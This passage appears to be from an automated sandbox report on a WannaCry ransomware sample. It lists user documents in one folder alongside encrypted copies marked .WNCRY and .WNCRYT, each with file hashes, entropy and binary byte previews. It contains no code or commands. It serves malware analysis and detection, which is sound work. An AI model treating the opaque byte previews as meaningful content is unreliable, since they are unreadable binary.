                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.817329006864384
                                      Encrypted:false
                                      SSDEEP:24:7t6TNbMLAY8v8ZCAvwuAG+MAPR/zvfRzvyg9uqr6/a+OOav:7t6TNIUY8v2CAIt77NYqr6S7v
                                      MD5:14B8CB0F3A2095FDA6808C47898F93E2
                                      SHA1:1C04EBD226BC5989F9702AAC395EA4D2C476853C
                                      SHA-256:E4AC52955B519AC1048AFC988D55B51E3908C0A6066395181E91AA62E2361231
                                      SHA-512:7F866F7C966A743223987A370FD6E319A58C6923BA16CFF1C03229DD30E730B822695E2A220359675A4F118761FECDD7527BB58892FDCD3BD1B527E420FECE7E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.Pr......J}....S..8Y...O.Sb.]..'..." ...0..Z-g... ..{.k.(...g.Ln.9x........g<._..n@.4.*.4.Qu............t.........X...yQ..Pxy.g...."..)R..v.@...t..BLx...29......Lh.0...<..%\'/BX.j.Y.x.....3R...'...o.L.s......o......O.b.o}..HT._. ..Q...N.;.cV..3..O.H.@..[.J.r..F'aOVt.....'..w..1....Y.....N....@d..3.....^5..$%.^....y..p..D<...1HK.....m.y%".....b2........T2..Xi....CGn .....O..:.J..SK\.b.v[.:..#...([.S.....0L...g....)..uj...9Vui...>>(...Y..H...w....h.8..I\.e6.dJ.?.|..(..M."....uu.q^..rK1I......|<bY5.....I5c..S'.t"....?.Q.x..lhz.J~..#......\..B..L.O....:.2,.......IG....W.v)p .2....}.<QT.Z.....3"..8.p..[..O...b.....R.5.Q...7@.P..GA.&.....ej...e...[... ..n.........n....,%...V....|.)...uz*n....AY...!-..Z......+cz...1{.z..b..n..%..a....i.M...L.O8Vdh...@..3...%..?O.:9.>&....Y....S....x..z...:....c...Ny~p.'.|}.zL*...q..J..H..s..$.V.........1?.7v.T..[.\p.....4.....%>.7..n..D....o*..Of#.CV......0."..3.....V....'..U....'...S...q...'.-.V....

                                      C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853609057228768
                                      Encrypted:false
                                      SSDEEP:24:bkQDgAa5nX37viSZuxDvNxJx1aCsg+KLhfM6jyrGRWjyVuJ4ForBUGaMk9E25JHV:bkXAYLq2uxzNxbxNPyrGGyVulWGRBO3l
                                      MD5:C8065BC9A620156BAAE9543F4C3BD8A6
                                      SHA1:5A5446A7D3B9BA5F742C0E87EACB00D36A82C160
                                      SHA-256:2685A4A75C73B419272362B0A49E20EC9A0EE95F9C2E494A4D74C353D1362B8E
                                      SHA-512:920E1BD1B0DB0EBBFAB1A2B827F3A1C10C54A8E9E7ACF0617CE1D436566DCE6D4D948A7BDF39E0B5FA0BFF6855C281D3F9732C7813222D534C5B4ADEAFF8306D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....7...j.../..K;..9M...QN...s.Hz.vh...N..vB...\..E......r....f..S..K*..x.........`.&......:.6G./H.E.mY........'U..3-PHC..;.....z..7.c....N..x.._.~..?.7.1(....o>.].$.8F..:.4...U.{u'..JY..i..._.=.5..D...s..P......m_...g4.....G..,..N(.?.h.3.)..V.U..!..d.E............}...>.O;.3...)......J...&..&n.Oa.V.V.....J3[z......2U4d|.2<..^v.........8~.[.J.#q.{.q._t'...jY=.0.cMM..-z.e.w.5.4....4..J.\-?= UV..p.8b.53.dBW......N....G$.p.........7#3N..|..Cd...T.hB9aL.!....b?.i.....H.wgL..I8..>..s`W...;..Z...@q.8E..w.C.w....1.b...q.<.X"<~V,..,...GT.k..5..7.<........k.?.G....o.W..i...qI..f.{3_..Q....,.M.....&..r..M\zwIJ..#...*....4.t.o^...........y.v..8..U..mX."x~d.....l...4..^.!T.A}........@..W.-1+0db...$*=..I...8p1.%.....t....W...Ymo.otk..k...0...iw...d.d....S.I.ZeS.m@.F.w.k..K......v.T..!{.W.|.o..^.......aRHb..k.eBze.o.w..h..+|.."..>.C.........J+X...{S.....BS...{+...wm.S...w~......`1w...F,..Q...%....y.:.^ZK*._.c.f9pS.C.[...........#.|..{.w......*.

                                      C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853609057228768
                                      Encrypted:false
                                      SSDEEP:24:bkQDgAa5nX37viSZuxDvNxJx1aCsg+KLhfM6jyrGRWjyVuJ4ForBUGaMk9E25JHV:bkXAYLq2uxzNxbxNPyrGGyVulWGRBO3l
                                      MD5:C8065BC9A620156BAAE9543F4C3BD8A6
                                      SHA1:5A5446A7D3B9BA5F742C0E87EACB00D36A82C160
                                      SHA-256:2685A4A75C73B419272362B0A49E20EC9A0EE95F9C2E494A4D74C353D1362B8E
                                      SHA-512:920E1BD1B0DB0EBBFAB1A2B827F3A1C10C54A8E9E7ACF0617CE1D436566DCE6D4D948A7BDF39E0B5FA0BFF6855C281D3F9732C7813222D534C5B4ADEAFF8306D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....7...j.../..K;..9M...QN...s.Hz.vh...N..vB...\..E......r....f..S..K*..x.........`.&......:.6G./H.E.mY........'U..3-PHC..;.....z..7.c....N..x.._.~..?.7.1(....o>.].$.8F..:.4...U.{u'..JY..i..._.=.5..D...s..P......m_...g4.....G..,..N(.?.h.3.)..V.U..!..d.E............}...>.O;.3...)......J...&..&n.Oa.V.V.....J3[z......2U4d|.2<..^v.........8~.[.J.#q.{.q._t'...jY=.0.cMM..-z.e.w.5.4....4..J.\-?= UV..p.8b.53.dBW......N....G$.p.........7#3N..|..Cd...T.hB9aL.!....b?.i.....H.wgL..I8..>..s`W...;..Z...@q.8E..w.C.w....1.b...q.<.X"<~V,..,...GT.k..5..7.<........k.?.G....o.W..i...qI..f.{3_..Q....,.M.....&..r..M\zwIJ..#...*....4.t.o^...........y.v..8..U..mX."x~d.....l...4..^.!T.A}........@..W.-1+0db...$*=..I...8p1.%.....t....W...Ymo.otk..k...0...iw...d.d....S.I.ZeS.m@.F.w.k..K......v.T..!{.W.|.o..^.......aRHb..k.eBze.o.w..h..+|.."..>.C.........J+X...{S.....BS...{+...wm.S...w~......`1w...F,..Q...%....y.:.^ZK*._.c.f9pS.C.[...........#.|..{.w......*.

                                      C:\Users\user\Documents\ZTGJILHXQB\PIVFAGEAAV.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.826864725614248
                                      Encrypted:false
                                      SSDEEP:24:h+/LE/siMKRjO6rRtCffI44+n6SrlcnlvlFE3to9TgalMY:Q/LEkey4tC33nLclwG9TT
                                      MD5:B4CAD3537CDA5C776D6F6594DD5D6205
                                      SHA1:55AEEA384CE6E2BBBFB7D376B0AE6061FDA316AB
                                      SHA-256:3327EB9E11928626F45F3BF31CF3D6CA646B726C7E2BC5BAB7DC26B4B7E1EE9C
                                      SHA-512:CD7E02DD09292FB0C80BF23395E70F90A94DF110033439EE48946691BA3D40EC6FD60556A6CC4F32AF1D8D81641911D9777318335C3C7027E45E649B38D1904A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.U.'..=.\....k...g#.(<....p:...`~o1|.....d..1.-b.=7Nd.w.%o.s.........`/P.u ...0.....J......>...b..C=-O.:6T....N.[..'S.lt..>....S..X..w..v..C$...`8...I.l/....jM..P.V...$.,..._..j_.N...w....Y...s.1..'..b0.t.\.k.s.{)...p.8.g.U|....m.`~....S...T..?..*...HY.....K.n..P.hm......6..o08.....V..I.. <p5..E.Y.*.t..`-J.......x.Pi.........f..&..1....'.&^A.<;......}z.=.....E8..0...V.{[...D.N,.tra;....2..].:./<.7w.p.H.M.{.....s=..Z....Yfj.|..#x..#_....Q.......Z...?.7.b..(9O.|.2.0....L..I.G]n...TN|..#x.oJ....Bb..............) }...C...Z~...e....[..$.P...< [.RR<.....xs...@.!X.(6.<#..x.a.G;...:.W./..J..j....Y.L...E..,^)....BT....>.8y.L.c_..*Fc`?2j......15........r..e.........d...V.w..)>.Y....={...X..D..R._.......w~....K...$..7..1y.!I.'...-S:(.o.|..=L...G,R.gC.).r[nH...)4pIp.\+.D^...q0...4...-.........,.$+........N...R.k....(.hC7..jd`...Ex..v..^....DT........P...Z.....c....[..:.vE.~.......s..F.0.Z.......x._<.....1.n.S.R..*^a.q.Xl.Ff.F..|._."Lq.....r..8.....

                                      C:\Users\user\Documents\ZTGJILHXQB\PIVFAGEAAV.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847990550038984
                                      Encrypted:false
                                      SSDEEP:24:bkzGX4IjwlUvF5BN92kdxXxkNuLPt0af1WfsVDHLQa2YyzLWSMX3eF:bkzdU95748xSNHu4ZMa
                                      MD5:F2FBE90F0E5F2ADABC239FD18F74868E
                                      SHA1:BD4B7FE8AF022E9D89638263CA976A095BFECEC0
                                      SHA-256:D7B0B3FF1425392250DFA1960D05016E3B0886A73B5A9D139968760933B4E7A0
                                      SHA-512:196BFDF0A2DB676CCCB3544B8724077987F73372AA6E694070AE0E1E2413BA76F8F177BED4C2C47B66A73B48D8DAB00AF4E9DD2DAB921F6852F03CFA9CA7F932
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.... .[.*A...*..cF.NK..EV".'...i.lm.....0..|.#B*."..N..D..vQ.../Wn....8..D..t..d..];*....{L...AR....`...z!..&*K_f.1g...\..W....C...p'.iU.`.).....{...<E......\..9*.....`..)S..'. .F.I...a....x..X..=N.."..{C~69.......q.#..Wiz.....J>M.o...D..8W.\N..v!e...l...............N.#m...[....v..W-=....T...T....[.2....>.Dl[....0.B1..?....0....w,..gC...S..??..}....J..Op.....N...<...c.....H.A2...).Z....!.@..3...Z...I........O......q,.MWk...E...b....W.S..i........Y*....H +..s.C.....|.Q..0......E.-...+).D.....4[?`..g.+M:..V.q....V....F}Z..|.w.5...F'2.`.3..Q<.:a!kK.F.i8...Ui"U#.elB~U#......W:k-.....`..T.. .Y..'y.Q .h..q.....)_s.c:..5$....+...A1J.........\FL.d.,.b..........`..V...]C|a.$...f.f......?..../.5z.X'A...(..Y..0.U.k........Ia#v/.m~&MX...UH.....Q.2..gg!..1%4\.....M.Cc..m..G...{<v5h...R/.h..x...K."...<.....4...u......D....~4..g.u..?3.....@.ki|p..J..../.B..g..yW.N(......A~w.!.DB..l.b..G......l..N..k..V+<@I.".T.^.t...'.."%...:...%.%......y7]

                                      C:\Users\user\Documents\ZTGJILHXQB\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847990550038984
                                      Encrypted:false
                                      SSDEEP:24:bkzGX4IjwlUvF5BN92kdxXxkNuLPt0af1WfsVDHLQa2YyzLWSMX3eF:bkzdU95748xSNHu4ZMa
                                      MD5:F2FBE90F0E5F2ADABC239FD18F74868E
                                      SHA1:BD4B7FE8AF022E9D89638263CA976A095BFECEC0
                                      SHA-256:D7B0B3FF1425392250DFA1960D05016E3B0886A73B5A9D139968760933B4E7A0
                                      SHA-512:196BFDF0A2DB676CCCB3544B8724077987F73372AA6E694070AE0E1E2413BA76F8F177BED4C2C47B66A73B48D8DAB00AF4E9DD2DAB921F6852F03CFA9CA7F932
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.... .[.*A...*..cF.NK..EV".'...i.lm.....0..|.#B*."..N..D..vQ.../Wn....8..D..t..d..];*....{L...AR....`...z!..&*K_f.1g...\..W....C...p'.iU.`.).....{...<E......\..9*.....`..)S..'. .F.I...a....x..X..=N.."..{C~69.......q.#..Wiz.....J>M.o...D..8W.\N..v!e...l...............N.#m...[....v..W-=....T...T....[.2....>.Dl[....0.B1..?....0....w,..gC...S..??..}....J..Op.....N...<...c.....H.A2...).Z....!.@..3...Z...I........O......q,.MWk...E...b....W.S..i........Y*....H +..s.C.....|.Q..0......E.-...+).D.....4[?`..g.+M:..V.q....V....F}Z..|.w.5...F'2.`.3..Q<.:a!kK.F.i8...Ui"U#.elB~U#......W:k-.....`..T.. .Y..'y.Q .h..q.....)_s.c:..5$....+...A1J.........\FL.d.,.b..........`..V...]C|a.$...f.f......?..../.5z.X'A...(..Y..0.U.k........Ia#v/.m~&MX...UH.....Q.2..gg!..1%4\.....M.Cc..m..G...{<v5h...R/.h..x...K."...<.....4...u......D....~4..g.u..?3.....@.ki|p..J..../.B..g..yW.N(......A~w.!.DB..l.b..G......l..N..k..V+<@I.".T.^.t...'.."%...:...%.%......y7]

                                      C:\Users\user\Documents\ZTGJILHXQB\QCFWYSKMHA.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.826235708758528
                                      Encrypted:false
                                      SSDEEP:24:6bTYYiKfsBOAv3b91D2ht+iG1ZtmnY8LhVxlNaEy7EoO:WcYuOI91D2qObRlNabAb
                                      MD5:A9C21DCD349A9889F1735DD63FFBD40E
                                      SHA1:24D23BD4831D1CE0B05F46D89DDF450C6E6B251A
                                      SHA-256:01B555B375CA0762A3891C00EBC8A6B8BE0C903C4F480F34435C7B2B1B4E8132
                                      SHA-512:CE5B1309EDFCEEBB027E9E11551373BFEEEC940CF64ABF50C9C9CC1D466E54B258BE47C130C036464C84A09F9370013F7AC9406BD9567DCC20C65976F358D0EB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:m...WJ..JF.1.....K.../.$....[M..^,..F.Y:....`...w...b@NTr.A_.V(.Y'O...\...2.... .3..zuh.)..#.........r.!.hi`.f...u?F....j.o.f..h.".}.Tg9<..D@.#...${.j....*...vt.qh..j$...I-.J..D..8......o.A.B...n..h.!.S....... ...~C....8P5./.]...4..|..~.o..|..T.#.){..D......ztl,V<...g+m..x....9.....'....I......ft..a1dO;..@......K.).hV......(;....8p..J.2.......9J.x8d.#...o...h..o...P%..).GO..{.,....~...Q!...J...Wx...D.@.4....NDp.]...P..`...........k..eX....j....GgP.8..k.......JzI..9..}P.T.{...P.$|....."....Z?_..s....K0...RM...y.ex<I....6.U.7Ee.'..exL....j.....}.b.1...%...u..A.#.0W/3v.....w...YF.......4.]'._.....8Y~..u?.c.3...b.$..v.3.m..4.J..Or...m..c*|l......_z.I3kC..+u......Mky..,...<\A.`T....,....8......z.h,.s.].'..^.rR...w...M.....~..f.....F....[V9aa$.Kh.?[...<4$X...cd>.B.;....i.>....#.l.7..N.H..R.]..=..[....,f..C~.kn)I-TQ..._.........X...)$.;j.`n.S...:....rJM.}.n..u....E.....[q~h...!.e..S.r.......h.E..j..O..m..vJ@.5i8..".n".D.%.3A..a.9.p@.}.R....$

                                      C:\Users\user\Documents\ZTGJILHXQB\QCFWYSKMHA.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837147197327245
                                      Encrypted:false
                                      SSDEEP:24:bktWcLdd6buDBIdFDKVeDIEyg0vLB6NBnkn2tyUaGnIm2oNH7AgHbHL:bk1Ldd6buVgRKoIHvYNxTFZamL
                                      MD5:D89ACC5AA1881572E568051DB792CDEE
                                      SHA1:08DB87589ACF414F302EF15E59D606CCA8A5AB8A
                                      SHA-256:21B0B5E0BB23218C4867697CF252231BEB89DCD5232C9F6A7421433E7F2091DD
                                      SHA-512:509D7C1F0AA02A488AD55E1F7FC3D59E93BAC693600F025072FEE7DF6E0DBE71D2C6389C64626F6BCA7E9BD837B5CEE641766DFF253681D4C950FA152E127237
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...........m.G.9....+...].}..7..J.^'...k...L...J...:TGcIJ...".....R...3...&..(.>._....J....~..s#=S..'\...H.q...t.e.P..............L.?./.......I..p.qG..v.(...B^z...~v....".x......o.#o09......._5.........H...'.D..........x..U...a..r.h......c....\.%Z.(V...............S.2..3.....P.D..[.`..;...+.....v.'?R.....R\.:..4..n...c....aN0..zl-%......Q.@.tc#P.....t.J.2T~...G.K..^.P...3<5..2*E.....=QZvWYM.{....Uf.{.P..(-.... ..B..9Z.n"$^.>.)..!...A.......\|..Y..0VIT9........t;...*.,..`8.......]GwT..U..0.T..sr_+.l#C.5.V>R\..G...T...J.....9\74..9.... ..1..Z....C\......2,G.~.._]..2p..j$.=.5r.u2_...e...F:.?cL.$G..(...C`...t"./...x..y.rj.....h..9.H.~.a...^k........~...D.....N:Z/.z.Y^....U..*..B+.<:Xg.....hA..7....&...Ym.yu...s.....F...F)..+....s)..0.=.z.K..8...Cp..O.j.}.L..}{.+.....|...#.........j..%........b.H.*...S....S..h..Wh.D..V.Y.X>......)5..."..!...Ivl..d..hk..A#.W......H. -.)...P..*....\w......!.\E....S...@b..m.....r.....R.&..!r%..2Yo

                                      C:\Users\user\Documents\ZTGJILHXQB\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837147197327245
                                      Encrypted:false
                                      SSDEEP:24:bktWcLdd6buDBIdFDKVeDIEyg0vLB6NBnkn2tyUaGnIm2oNH7AgHbHL:bk1Ldd6buVgRKoIHvYNxTFZamL
                                      MD5:D89ACC5AA1881572E568051DB792CDEE
                                      SHA1:08DB87589ACF414F302EF15E59D606CCA8A5AB8A
                                      SHA-256:21B0B5E0BB23218C4867697CF252231BEB89DCD5232C9F6A7421433E7F2091DD
                                      SHA-512:509D7C1F0AA02A488AD55E1F7FC3D59E93BAC693600F025072FEE7DF6E0DBE71D2C6389C64626F6BCA7E9BD837B5CEE641766DFF253681D4C950FA152E127237
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...........m.G.9....+...].}..7..J.^'...k...L...J...:TGcIJ...".....R...3...&..(.>._....J....~..s#=S..'\...H.q...t.e.P..............L.?./.......I..p.qG..v.(...B^z...~v....".x......o.#o09......._5.........H...'.D..........x..U...a..r.h......c....\.%Z.(V...............S.2..3.....P.D..[.`..;...+.....v.'?R.....R\.:..4..n...c....aN0..zl-%......Q.@.tc#P.....t.J.2T~...G.K..^.P...3<5..2*E.....=QZvWYM.{....Uf.{.P..(-.... ..B..9Z.n"$^.>.)..!...A.......\|..Y..0VIT9........t;...*.,..`8.......]GwT..U..0.T..sr_+.l#C.5.V>R\..G...T...J.....9\74..9.... ..1..Z....C\......2,G.~.._]..2p..j$.=.5r.u2_...e...F:.?cL.$G..(...C`...t"./...x..y.rj.....h..9.H.~.a...^k........~...D.....N:Z/.z.Y^....U..*..B+.<:Xg.....hA..7....&...Ym.yu...s.....F...F)..+....s)..0.=.z.K..8...Cp..O.j.}.L..}{.+.....|...#.........j..%........b.H.*...S....S..h..Wh.D..V.Y.X>......)5..."..!...Ivl..d..hk..A#.W......H. -.)...P..*....\w......!.\E....S...@b..m.....r.....R.&..!r%..2Yo

                                      C:\Users\user\Documents\ZTGJILHXQB\UOOJJOZIRH.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.821479561633825
                                      Encrypted:false
                                      SSDEEP:24:sSLeuPqoq8bBy0VjVK9XFSp7Kw66cAAbVhNqHKwwXOv:sSLeu3FZEoTXAbyPv
                                      MD5:25E678DD681DCB13FFF2734677EB9037
                                      SHA1:E43B9127934284FEBDA4E86DEDAC9E69A0A24CF1
                                      SHA-256:1DA07ED226D4517962AFDC7CC7FA6D1B612A536CCC74326C8B9234A11E0287C8
                                      SHA-512:F06AC22E22320DC8960449EAA5B789C5F5056C4C09B1AAA22F4A4335FF805D1F5F1CF19D5C97978218E9152E443115D63F37F3B3928BCED22B75974D72735837
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:%.o..[....;b..H...B...../.....0H..*..V.5..:. x....K......sv.m*..s..GP....RI.M%...r.Orp..gv.V,Eli....7....b........5ek..A.:..G...cO{.&..b....l.QO.&...7y.d...=.i'&.r..?^]Q.....v)......+.....Wmx.........?..e......f1...=........f..L.M..(.?..x.....<..`hL......E.Ww....v...4)...=)2......Z.....z..........7.j*=.."hX.....7B...c....1..+Q..9..|...U.c.nR6.M_.b1.&...0...Oj...[6.................xMm.y.....d.|.E..P.......&...r..\.V...~\.....a...E.......u.t.5~.....y...Y.aT9m.*.sYh....t-..aM.....U$G..}#..C"...Z4}..%.Z..:2R..$....F..._?.._Al3II..M..9..^..T..^Hh....Q...XJB[Mb_L..xS.z.!;.%.o&N...Be0u.6.... ..~.....e...0S.5...B..A..G,.mm&.!.'..}Gd.;.c.u.c.....'.r..Ph..N.......k...E..`...].G..o.v. .PYv..6&.Pc..#......7.U.!\...b...@.i.W...[J..?.,.S..F...m.........._.z.s.....3.h.....c'./....I.x/.z.K.i.nV.cz.g2>.{p.v....rV0.0....J......O...-(.........6..bU.s&. ..us...v.@..d0Fw..(..\.....k.e=..)".1..*'.|...pu...E8N.....8....~..L.n..&.h......

                                      C:\Users\user\Documents\ZTGJILHXQB\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8345163053142866
                                      Encrypted:false
                                      SSDEEP:24:bkR76YV38Az9miG4f5R70QERy8WSplxxbgVkr3OC/t4Or5SEscW2/8zi:bkReYDxRGo57Ee2XhQkrn/t4pEscxUzi
                                      MD5:8504568B2043C63E1168FA643418DBD8
                                      SHA1:2EB6C20E75F293DE291FD158496E3A729195AEE4
                                      SHA-256:BA7B72972CFDAA301F2A30E685056988B2914EEC4D720A55A2D86A0FC5CCAF57
                                      SHA-512:A47F5691B54E7E3307ABFBA84B7FFA613F87462E88B84B5399A8B574B1AE7B53DF4F5C4403588FE8CA972495683F1E697C578A28B0294ABB1D3EDD285E47DE17
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....Z...i...2...0.'.O-...2d..........4.-e\.>Yj.......DR[.`.T..G.I..K....u.^.#...|...[.0&.b.. .x...%....ry...c...T....q.i...].{..9.a.|....gXw..h...K...#L4......k|...H../.....@.8..%..D.3.... d.E...j`..h....N...wK.0X.....9...".[Te..9#..;.F.6.O~.e....m................&....)...'.8.r.-..@vS.U<.Fd.B(...[....8.o.1`C^.............z..J..@e..e_._p...S@.1L=.X...G..v..V..U.b.C...KY..&<.)....z.....=..I...HVK...\..L%..U.J.....x.\..H"..g.v..v|V:1...I.UiT.a!.|._...C.#..t."s..g...Y@H.{..7.Q.......,>........."n.K..G........m...$$a.T..gG*.o+fp%.p..J.{........yB.1..n6..6....i..[.....f....r..Z.._.......Q.....7.G....X.I..3..sM.5.....1B...f.s..."7.....Lx,.y.1.p>!f\.....X.wq._e%h.i.e...:....1..&......>g.C....[... ...m.:........V...._......#._.>@oV....n.Lo 6.....;..NA+....Sg.'^i..L..[F...078v.?RK.X..H..J .}......i./.`..*,.V_....Tu...i.....aym.....f.24..).@.y>.D..'1i....7b.Mn....$/...N...."e..p.O.......X..Y;....AiI....x..Q.S........&...x..p.dR.oR..Z..

                                      C:\Users\user\Documents\ZTGJILHXQB\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8345163053142866
                                      Encrypted:false
                                      SSDEEP:24:bkR76YV38Az9miG4f5R70QERy8WSplxxbgVkr3OC/t4Or5SEscW2/8zi:bkReYDxRGo57Ee2XhQkrn/t4pEscxUzi
                                      MD5:8504568B2043C63E1168FA643418DBD8
                                      SHA1:2EB6C20E75F293DE291FD158496E3A729195AEE4
                                      SHA-256:BA7B72972CFDAA301F2A30E685056988B2914EEC4D720A55A2D86A0FC5CCAF57
                                      SHA-512:A47F5691B54E7E3307ABFBA84B7FFA613F87462E88B84B5399A8B574B1AE7B53DF4F5C4403588FE8CA972495683F1E697C578A28B0294ABB1D3EDD285E47DE17
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....Z...i...2...0.'.O-...2d..........4.-e\.>Yj.......DR[.`.T..G.I..K....u.^.#...|...[.0&.b.. .x...%....ry...c...T....q.i...].{..9.a.|....gXw..h...K...#L4......k|...H../.....@.8..%..D.3.... d.E...j`..h....N...wK.0X.....9...".[Te..9#..;.F.6.O~.e....m................&....)...'.8.r.-..@vS.U<.Fd.B(...[....8.o.1`C^.............z..J..@e..e_._p...S@.1L=.X...G..v..V..U.b.C...KY..&<.)....z.....=..I...HVK...\..L%..U.J.....x.\..H"..g.v..v|V:1...I.UiT.a!.|._...C.#..t."s..g...Y@H.{..7.Q.......,>........."n.K..G........m...$$a.T..gG*.o+fp%.p..J.{........yB.1..n6..6....i..[.....f....r..Z.._.......Q.....7.G....X.I..3..sM.5.....1B...f.s..."7.....Lx,.y.1.p>!f\.....X.wq._e%h.i.e...:....1..&......>g.C....[... ...m.:........V...._......#._.>@oV....n.Lo 6.....;..NA+....Sg.'^i..L..[F...078v.?RK.X..H..J .}......i./.`..*,.V_....Tu...i.....aym.....f.24..).@.y>.D..'1i....7b.Mn....$/...N...."e..p.O.......X..Y;....AiI....x..Q.S........&...x..p.dR.oR..Z..

                                      C:\Users\user\Documents\ZTGJILHXQB\ZQIXMVQGAH.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.799325088457056
                                      Encrypted:false
                                      SSDEEP:24:Rpfw4dlwRSpArJv1KzAx5yZkmPDUXSikMh5+9QxJPKn40xN:RZdgSpANv1AM/XSAh8YJSnXxN
                                      MD5:1438951266EFCED9C840044393514A3B
                                      SHA1:5D26015EDD0C12986C785E6A0404CE1448B07AE6
                                      SHA-256:02184DA7E291F21206C585621B7459DDB701DB2A2734C7EE0EBFF1417E2E62C8
                                      SHA-512:85C524509B93280CB24ADB9E3745439A9C0A7E9A816FD487F2E6CE00A3EB1B4FCECAD3F006643D587C84109EC99D1D3484138410FDEFF08140FC0281F798D291
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.kFa.l./.<...........Ns.....$B$.5C..rCU/...CDj9..v.m..i.p).:.Z..v.Pu..$....2.^.W..c.y.%...Q.....8...t.V../g.n...w.>..2.)$AAT.0..J..~.c.U[>.ZS.4......w3......a..3.'R....z.l@d.....Xu.^.F...:...b.}%..G.*v.F.|?.A..Pn.g..[L....$R..!y...q..7....../..7{|.Fv.x..p{..8...........(...L...j>.F..S.G...B.F...l.....q.[...#....r%..p...'..b..PVA..j.{...7e..*. ....>.k.A.jN1.K....q}.*.'K.7..BH.{...o.5HX).......;8..g..6.V..t......jI...{..@.,.).. .'..w.........Yq.D.z'.S+.....D...],.9L....Y.D...J.$...V...kV.U....q.qSt...q...].O....J....n..)_I...n.:.o..|...M\.q622,E+a.L.>.H..n'..wI.x.....>+.`..-..U1M.M.S..5.6..z&!2dK.;......y.....c.M0ka.......O.<....C.S.s,..'.mM+*.+ZH.w+j......]w.e..6.DF\;"v........F.SR.}.[.0*.5\W..}....D..b%H"..8.^...../:P{.#./.5....R.A..\Y|...]va..}.N...~[cb...^v...?..1E..y..v..6......9.:..?o...&....v=BM|.V$E...r./....}.Gu>V.f...4...3..~..x..{/6...S. V...^.?E.R.x<.H..;..Q......n,.].....4.+....A/x..D.z..G..2<U........".3m....1.....q.A..g..

